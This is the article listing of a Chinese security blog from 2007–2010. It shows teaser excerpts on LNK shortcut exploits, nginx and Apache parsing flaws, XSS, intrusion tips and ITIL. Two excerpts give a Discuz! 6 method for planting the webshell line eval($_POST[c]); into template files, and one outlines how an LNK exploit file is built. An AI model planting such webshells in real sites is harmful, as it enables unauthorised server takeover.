linkboy的博客_网络安全技术

LNK快捷方式漏洞利用方式 exp制作教程

前言 windows的shell32在处理控制面板程序的快捷方式文件时，存在一个漏洞，可以加载硬盘上的任意DLL文件，即可执行任意代码。漏洞文件的生成到“控制面板”下面，右键点“显示”，点“创建快捷方式”，把快捷方式创建在桌面上。然后在桌面用WinHex打开“显示.lnk”文件。 Off

职场

休闲

快捷方式

LNK

漏洞利用

原创推荐 2010-08-02 15:28:26 4284 阅读 6评论

从“网易邮箱被黑”看网页游戏账号安全

7月3日，据网友爆料网易邮箱系统大面积被黑。其中163、126、188、yeah邮箱均被入侵。据了解黑客没有做任何有恶意性的破坏，只在每个域名后面留下了文本文档以表示入侵。留下这么一句玩笑话，仿佛是嘲笑网易的无能，彰显自己的伟大。　　虽然这个小小的插曲并没有给我们造成什么大的损失，但也不得不再次让人们对于邮箱的安全性产生怀疑！网易的邮箱系统号称是技术最完善的，但

网页

账号

游戏

休闲

网易邮箱被黑

转载精选 2010-07-03 19:28:54 1770 阅读

nginx解析漏洞只要可以上传文件就会被黑

80sec发现的大漏洞，之前听阿里巴巴的同学也说到过。说明这个漏洞地下知道的人已经很多了只是今天公开了。。。漏洞介绍：nginx是一款高性能的web服务器，使用非常广泛，其不仅经常被用作反向代理，也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题，默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析，这将导致严重的安全问题，使得恶意的攻击者可能

文件

漏洞

休闲

解析

nginx

原创推荐 2010-05-21 16:52:55 5084 阅读 5评论

Apache 漏洞之后缀名解析漏洞

我们都知道windows2003 + IIS6.0下，如果目录结构中有xxx.asp这样的目录，那么所有这个目录下的文件不管扩展名为什么，都会当作asp来解析。我们一般称这个漏洞为windows2003+iis6.0目录解析漏洞。但是大家可能不知道的是，apache服务器也存在类似的解析漏洞我们来做下实验，我在本地搭建好了一个apache+php的测试平台两个文件phpinfo.php

Apache

漏洞

后缀

休闲

解析

原创推荐 2010-04-28 11:39:37 3692 阅读 10评论

MOP社区被黑内幕

首先这次的检测纯属是个偶然？为什么是偶然大家请慢慢听我说吧.这里感谢AK！我本来想利用搜索引擎玩下后台过滤不严的网站！

职场

社区

MOP

休闲

内幕

原创推荐 2010-04-16 14:51:26 5402 阅读 9评论

微软表示定期更改密码没用或浪费时间金钱

微软日前公布的一项调查结果显示，定期更换密码并不能将黑客拒之门外，反而是浪费时间和金钱。当前，许多企业IT部门强制员工定期更改密码，以作为安全策略之一。这不但让员工感到反感，更让网络管理员感到头痛。但微软日前公布的一项调查结果显示，这样做根本起不到实际作用。微软指出，黑客获得用户登录密码后，会立刻发动攻击，而不会等上几周时间，让用户更改后再发动攻击。这就好比，一个小偷捡到一把钥匙后，不去

微软

密码

时间

金钱

定期

转载精选 2010-04-15 20:54:47 718 阅读 1评论

说说腾讯分站被黑的过程

最近腾讯分站被“黑”的消息有蛮人多关注的，某带头大哥就叫我写了篇贴子说说相关的过程是怎样的,进入正题! 大家都想像得到要黑腾讯这类大站

安全

漏洞

腾讯

休闲

分站

原创推荐 2010-04-05 20:41:59 2753 阅读 4评论

UCenter_Home横跨三个版本的鸡肋注入

这个注入从1.2版本就存在，08年末在大家广泛使用1.5版本的时候要搞个uchome的站，于是看了下源码找到这个点，写了个没用的exp藏一年多了一直丢硬盘没发，前几天看了下2.0版本看到依旧存在，还跟flyh4t说要不要公布呢。既然xhming公布了，我也说下吧。估计很多大牛也做为后备0day雪藏很久了吧。首先说鸡肋，两个原因导致： 1是漏洞的存在必须开启全局变量，即register_glo

休闲

Home

鸡肋

UCenter

横跨

转载精选 2010-02-22 17:56:00 1005 阅读

ITIL流程管理六步走

体悟之一：以前目标管理，现在流程管理服务管理实施前后主要的变化，表面看增加了一些流程经理，增加了一些“领导”——事件经理、变更经理，配置经理，问题经理。其实公司的业务没有发生变化，以前做什么现在还做什么。以前什么事情自动默认“目标管理”——最快最短流程的完成目标结果。效率很高，但有时候会出错，事

职场

管理

ITIL

休闲

流程

转载精选 2010-02-11 16:26:00 844 阅读

跨站脚本XSS–褚诚云

《程序员》文章。申明。文章仅代表个人观点，与所在公司无任何联系。 1.概述跨站脚本Cross-Site Scripting（XSS）是最为流行的Web安全漏洞之一。据统计，2007年，跨站脚本类的安全漏洞的数目已经远远超出传统类型的安全漏洞【1】。那么，什么是跨站脚本？它的危害性是什么？Web开发人员如何在开发过程中避免这类的安全漏洞？就是我们这篇文章要讨论的内容。 2.什

职场

脚本

XSS

休闲

褚诚云

转载精选 2009-07-03 16:41:00 613 阅读

XSS无关乎架构，在于程序员的安全意识

记得上次讨论XSS是从输入防还是从输出防，我的回答是从两方面防，但另外一点就是要考虑应用，同时需要按XSS出现的情况分风险等级。我举了三个简单的例子： 1.一个原来只需要整型的参数却允许传字符型在页面输出了XSS，这个就是BUG! 这个例子说明的是程序员的安全意识问题，因为偷懒，输入和输出都没有严格控制数据类型，如果你是程序员你要怎么修改这个漏洞呢，当然是输入和输出都给改咯。一个很简单的逻

程序员

架构

XSS

休闲

安全意识

原创推荐 2009-01-08 17:50:00 1428 阅读 1评论

fedora官服被黑，redhat的openssh包被放后门

导读：　　在这个事情上，我们首先要思考的就是如何避免出现这类问题，出现了，如何定损和止损。　　http://www.securityfocus.com/archive/1/495671/30/0/threaded 　　https://www.redhat.com/archives/fedora-announce-list/2008-August/msg00012.html 　　

redhat

fedora

openssh

后门

官服

转载精选 2008-08-27 11:27:00 755 阅读

基于ITIL的补丁管理

导读：　　ITIL并不能直接指导企业IT架构的日常维护和补丁升级操作，但ITIL涵盖了范围更为宽广的变更、分发和配置管理，从而使利用ITIL的思想和原则对企业的补丁管理流程进行规范成为可能。　　企业在对IT架构实施补丁升级的过程中，会遇到相当多的问题。冗余低效的补丁分发方案、补丁记录缺失、高风险的补丁实施和没有制定有效的补丁撤销策略等是其中影响最大的问题。这些问题的存在，不但明显降低了

职场

管理

ITIL

休闲

转载精选 2008-07-06 13:17:00 869 阅读

[提权技术] Discuz! 6 后台拿Shell的方法

如果后台可以在线编辑模板的话，下面的方法就可以拿SHELL了：） 1.后台编辑customfaq(customfaq.lang.php文件) 在 Copy code eval($_POST[c]); 2.后台编辑misc(misc.lang.php文件) 把post_reply_quote对应的内容改为 Copy code ";eval($_POST[c]

Shell

后台

休闲

Discuz

权技术

转载精选 2008-06-29 09:54:00 988 阅读

Maxthon遨游浏览器多个高危0day

漏洞说明：傲游浏览器是一个强大的多页面浏览器. 除了方便的浏览功能, 傲游浏览器还提供了大量的实用功能改善用户的上网体验，其在中国浏览器市场拥有大量的用户，以安全，界面友好著称。但是80sec安全组织发现遨游在安全处理上存在安全漏洞，导致恶意站点可以修改任意用户配置，读取用户历史访问记录，远程下载文件等种种恶意操作。漏洞厂商：http://www.maxthon.cn/ 漏洞成因

职场

休闲

Maxthon

遨游浏览器

转载精选 2008-06-24 10:47:00 592 阅读

新木马病毒可更改路由器设定监控用户网络流量

据研究人员报告，一种被称之为“zlob”（又称dnschanger）的特洛伊木马病毒已经被发现，这种病毒可以攻击受害者的互联网路由器，并监控受害人的网络流量。研究人员指出，当受害人自己的Windows系统被感染之后，zlob木马会尝试猜测路由器的用户名和密码组合，如果成功，此木马会改变受害者路由器的DNS，使所有的网络流量都可以被监控。很早之前研究人员就警告说总有

网络

路由器

用户

流量

转载精选 2008-06-24 10:46:00 1161 阅读

我在入侵过程中注意到的细节（二）

《黑客手册200802》我在入侵过程中注意到的细节（二） lcx 上期我写的基本都是在入侵内网过程中要注意到的细节，不过现在流行的毕竟是注入了。现在常规注入针对的也就是asp、php、jsp、cfm、 cgi等的动态脚本。针对各种脚本的话，如果注意一些细节，像构造特殊字符，也会起到很奇妙的作用。像最早的%5c暴库、%00截断都是轰动一时的漏洞。这些漏洞被发现，无非是发现都对脚本语

职场

休闲

细节

转载精选 2008-06-07 20:06:00 415 阅读

我在入侵过程中注意到的细节（一）

导读：　　《黑客手册200801》　　我在入侵过程中注意到的细节（一）　　lcx 　　细节决定成败，不但对于写程序、渗透入侵甚至人生都是如此。谈人生就有点深奥了，还是来谈谈入侵吧。记得很久前有一位同事，注入的时候，在sa权限什么命令都能执行的情况下竟然入侵花费了三天左右的时间，为什么呢？这是因为他在NBSI下输了个time命令，想看下服务器的时间，结果命令无法应答，注入点宕在

职场

休闲

转载精选 2008-06-07 20:06:00 400 阅读

我在入侵过程中注意到的细节（三）

导读：　　《黑客手册200803》　　我在入侵过程中注意到的细节之三　　lcx 　　前两期中的专栏中，针对细节入侵这一专题，我分别写了我在内网和注入中注意到的一些细节。其实入侵过程中，有时候难免会与管理员面对面，如何更好的隐蔽自己也是很重要的，一旦不注意，入侵工作往往前功尽弃。这期专栏中，我就如何隐蔽自己所做的一些工作，所注意到的细节来写一下。　　先来说一下嗅探吧。大家

职场

休闲

转载精选 2008-06-07 20:05:00 542 阅读

绿盟于旸：让阿里安娜火箭爆炸的缓冲区溢出 linkboy语录：tk出品必是精品呵呵

腾讯科技讯 3月18日，由中国最大的互联网综合服务提供商腾讯发起和组织的互联网安全峰会在深圳召开。包括微软、盛大、新浪等互联网界各大巨头的技术专家，学者和专业人士参与了此次的交流。此次峰会是今年以来首场由中国互联网各顶尖企业共同参与的大型网络安全专业盛会。来自绿盟的于旸，在现场发表演讲。以下为文字实录：于旸：我首先做个自我介绍，我叫于旸，目前主要从事信息技术安全有关的研究工作。腾讯

职场

绿盟

休闲

linkboy

阿里安

转载精选 2008-03-20 13:39:00 1172 阅读

关闭XP保护。替换explorer.exe

导读：　　在偶的VPC上测试是可以的。没有更多的测试. 　　偶并没有调用dllcache目录下的.你喜欢吧　　{*******************************************************} 　　{ } 　　{ 关闭XP保护。替换explorer.exe&n

职场

exe

explorer

休闲

转载精选 2008-02-01 20:32:00 668 阅读

Cisco路由器及交换机安全加固

导读：　　　　Cisco路由器及交换机安全加固　　关键词：Cisco、IOS、信息安全　　根据木桶理论，一个桶能装多少水，取决于这个桶最短的那块木板。具体到信息系统的安全也是一样，整个信息系统的安全程度也取决于信息系统中最薄弱的环节，网络做为信息系统的体，其安全需求的重要性是显而易见的。　　网络层面的安全主要有两个方面，一是数据层面的安全，使用ACL等技术手段，辅助应

交换机

Cisco

路由器

休闲

加固

转载精选 2008-01-30 09:14:00 385 阅读

Discuz! 6 后台拿Shell的方法

如果后台可以在线编辑模板的话，下面的方法就可以拿SHELL了：） 1.后台编辑customfaq(customfaq.lang.php文件) 在 Copy code eval($_POST[c]); 2.后台编辑misc(misc.lang.php文件) 把post_reply_quote对应的内容改为 Copy code ";eval($_

职场

Shell

后台

休闲

Discuz

转载精选 2008-01-29 16:43:00 521 阅读

见过的最详强的讲ESP定律脱壳（推荐）

导读：　　　　FROM: poptown.gamewan.com/bbs 　　　　E-MAIL：meila2003@163.com 　　　　　　　1.前言　　　　在论坛上看到很多朋友，不知道什么是ESP定律，ESP的适用范围是什么，ESP定律的原理是什么，如何使用ESP定律？看到了我在“”调查结果发现,大家对ESP定律很感兴

定律

脱壳

ITIL的局限性

由于公司建设ITSM系统的需要，开始接触ITIL理论，学习的来源多来自于一些文档、书籍及网上的资料，随着理解的深入，越发觉得ITIL有相当的局限性，尤其当公司人人对ITIL奉为圣旨时，就更加担心我们自身会走入一个误区，我总相信没有一种管理理论可以为一个公司带来质的飞跃，对所谓的流行理论，我个人一直抱有相对冷淡的立场，比如近来喊得比较多的蓝海战略之类，其实本没有任何新意，德鲁克在五十年前就已提出来了

职场

ITIL

休闲

局限性

转载精选 2008-01-15 14:49:00 687 阅读

ITIL之流程管理

流程管理　　流程管理　　每一个组织都希望实现其愿景、使命、目标和政策，这就意味着需要进行恰当的活动。以餐馆为例，恰当的活动包括购买蔬菜、记账、订购佐料、接待客人、清理桌子、刨土豆皮以及煮咖啡等。　　在这样一个毫无规律的列表下，有些活动可能会被漏掉，我们也很容易迷惑。因此，将这些活动按一定的结构组织起来是一个很好的主意。最好是，它们的组织方式让我们容易看出每组活动对组织目标的贡献，

职场

管理

ITIL

休闲

流程

转载精选 2008-01-15 14:48:00 1019 阅读

如何对PHP程序中的常见漏洞进行攻击（上）

之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http: //www.securereality.com.au/studyinscarlet.txt找到。　　由于原文比较长，而且有相当一部分是介绍文章的背景或PHP的基础知识，没有涉

PHP

攻击

程序

漏洞

休闲

转载精选 2007-12-19 21:06:00 321 阅读

【转】如何对PHP程序中的常见漏洞进行攻击（下）

正如我们前面讨论的那样，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。　　最初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个“.inc”的扩展名，但是他们很快发

PHP

攻击

程序

漏洞

休闲

转载精选 2007-12-19 21:06:00 487 阅读

域名停放指南

域名停放服务能为您带来什么好处？　　域名停放服务可以让您利用闲置的域名赚钱，而且不需要您建立自己的网站，为您带来一定收益的同时增加域名出售转让的机会。　　哪些域名可以应用于域名停放服务？　　一般域名停放服务主要是利用域名带来的访问者达到广告点击收益的，所以一般情况下要求您所持有的域名有一定的访问者（流量）。能带来流量的域名包括：带有极佳关键词的域名、被搜索引擎收录的域名、原来建过

职场

域名

指南

休闲

转载精选 2007-12-10 15:00:00 10000+阅读

Arp反欺骗策略

职场

Arp

欺骗

休闲

转载精选 2007-11-20 16:29:00 373 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

linkboy

LNK快捷方式漏洞利用方式 exp制作教程

从“网易邮箱被黑”看网页游戏账号安全

nginx解析漏洞只要可以上传文件就会被黑

Apache 漏洞之后缀名解析漏洞

MOP社区被黑内幕

微软表示定期更改密码没用或浪费时间金钱

说说腾讯分站被黑的过程

UCenter_Home横跨三个版本的鸡肋注入

ITIL流程管理六步走

跨站脚本XSS–褚诚云

XSS无关乎架构，在于程序员的安全意识

fedora官服被黑，redhat的openssh包被放后门

基于ITIL的补丁管理

[提权技术] Discuz! 6 后台拿Shell的方法

Maxthon遨游浏览器多个高危0day

新木马病毒可更改路由器设定监控用户网络流量

我在入侵过程中注意到的细节（二）

我在入侵过程中注意到的细节（一）

我在入侵过程中注意到的细节（三）

绿盟于旸：让阿里安娜火箭爆炸的缓冲区溢出 linkboy语录：tk出品必是精品呵呵

关闭XP保护。替换explorer.exe

Cisco路由器及交换机安全加固

Discuz! 6 后台拿Shell的方法

见过的最详强的讲ESP定律脱壳（推荐）

ITIL的局限性

ITIL之流程管理

如何对PHP程序中的常见漏洞进行攻击（上）

【转】如何对PHP程序中的常见漏洞进行攻击（下）

域名停放指南

Arp反欺骗策略

欢迎